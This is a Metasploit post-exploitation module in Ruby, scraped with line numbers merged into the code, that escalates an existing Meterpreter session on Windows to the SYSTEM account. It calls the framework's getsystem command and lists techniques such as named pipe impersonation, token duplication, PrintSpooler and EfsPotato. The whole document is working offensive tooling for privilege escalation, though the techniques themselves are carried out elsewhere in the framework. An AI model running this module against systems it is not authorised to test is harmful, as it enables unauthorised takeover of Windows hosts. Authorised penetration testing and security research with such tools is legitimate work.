Path: blob/master/modules/post/windows/escalate/getsystem.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasm'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Priv910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Escalation',15'Description' => %q{16This module uses the `getsystem` command to escalate the current session to the SYSTEM account using various17techniques.18},19'License' => MSF_LICENSE,20'Author' => 'hdm',21'Platform' => [ 'win' ],22'SessionTypes' => [ 'meterpreter' ],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26priv_elevate_getsystem27]28}29},30'Notes' => {31'AKA' => [32'Named Pipe Impersonation',33'Token Duplication',34'RPCSS',35'PrintSpooler',36'EFSRPC',37'EfsPotato'38],39'Stability' => [CRASH_SAFE],40'SideEffects' => [],41'Reliability' => []42}43)44)4546register_options([47OptInt.new('TECHNIQUE', [false, 'Specify a particular technique to use (1-6), otherwise try them all', 0])48])49end5051def unsupported52print_error('This platform is not supported with this script!')53raise Rex::Script::Completed54end5556def run57technique = datastore['TECHNIQUE'].to_i5859unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)6061if is_system?62print_good('This session already has SYSTEM privileges')63return64end6566begin67result = client.priv.getsystem(technique)68print_good("Obtained SYSTEM via technique #{result[1]}")69rescue Rex::Post::Meterpreter::RequestError70print_error('Failed to obtain SYSTEM access')71end72end73end747576